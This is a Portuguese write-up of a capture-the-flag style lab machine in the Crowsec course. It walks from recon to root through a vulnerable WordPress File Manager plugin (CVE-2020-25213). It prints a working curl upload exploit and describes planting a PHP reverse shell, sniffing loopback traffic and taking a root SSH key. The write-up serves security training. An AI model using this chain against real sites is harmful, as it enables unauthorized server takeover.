Resolução da maquina File Manager do laboratório da Crowsec.
A máquina File Manager está disponível no laboratório da Crowsec, para ter acesso a esta máquina é necessário ser aluno do Webhacking-na-pratica 2.0. | ||
A máquina está classificada como nível Médio e seu sistema operacional é Linux. | ||
Reconhecimento | ||
A primeira etapa é fazer o reconhecimento dos serviços executado na máquina. | ||
Utilizei o Nmap para este propósito, com o comando: | ||
nmap -sV -v <IP> | ||
Resultado: | ||
Iniciei o reconhecimento da aplicação web. | ||
Pagina inicial era o index do apache2. | ||
Então, executei o wfuzz para descobrir arquivos e diretórios disponíveis no servidor web. | ||
Executei o wfuzz com o comando: | ||
wfuzz -c -z file,common.txt --hc 404 http://<IP>/FUZZ | ||
Resultado: | ||
Possivelmente, um sistema Wordpress sendo executado. | ||
Para confirmar tentei acessar o /wordpress/wp-admin, o resutado: | ||
Confirmei a existência do Wordpress. | ||
Para fazer um reconhecimento do Wordpress, executei o wpscan com o comando: | ||
wpscan --url http://10.9.2.14/wordpress/ -e ap --plugins-detection aggressive -t 100 | ||
A saída da ferramenta é muito extensa, então mostrarei o mais importante que encontrei, um plugin desatualizado e vulnerável(CVE 2020-25213) instalado no Wordpress. | ||
Confirmando a Vulnerabilidade | ||
Criei um arquivo /tmp/phpinfo.php,
com o conteúdo: | ||
Executei o comando: | ||
curl -ks --max-time 5 --user-agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.90 Safari/537.36" -F "reqid=17457a1fe6959" -F "cmd=upload" -F "target=l1_Lw" -F "mtime[]=1576045135" -F "upload[]=@ //tmp/phpinfo.php" "http://IP/wordpress/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php" | ||
Acessei o phpinfo.php através do caminho: /wordpress/wp-content/plugins/wp-file-manager/lib/php/../files/phpinfo.php | ||
Eeee | ||
RFI(Remote File Inclusion) confirmado!! | ||
Acessando o Servidor | ||
Configurei uma reverse shell em php com meu ip e porta: | ||
Salvei e fiz o mesmo processo para enviar o arquivo para o servidor. | ||
Configurei o netcat para escutar na porta 443 | ||
E acessei a reverse shell no servidor: /wordpress/wp-content/plugins/wp-file-manager/lib/php/../files/shell.php | ||
Eee | ||
Shell!! | ||
| ||
Escalando Privilegio | ||
Executei o comando : | ||
netstat -lnvp | ||
resultado: | ||
Tinha um serviço escutando na porta 1027, executei o tcpdump para capturar os pacotes que estão trafegando nessa porta. | ||
tcpdump -i lo port 1027 -c 10 -A -vvv | ||
depois de um tempo capturando os pacotes, obtive o seguinte resultado: | ||
Com essas informações, executei o curl com o comando: | ||
curl http://localhost:1027/?admin=66e9bb20c93218fe2b82cccb70cd3519 | ||
Resultado: | ||
Obtive uma chave privada do ssh. | ||
| ||
Criei um arquivo chamado id_rsa e salve a chave, configurei a permissão para 400 e executei o comando: | ||
ssh -i id_rsa root@10.9.2.14. | ||
Eeeee | ||
root!!! | ||
| ||
Flags | ||
cat /flag.txt | ||
cat /root.txt | ||
| ||
Até a próxima :D |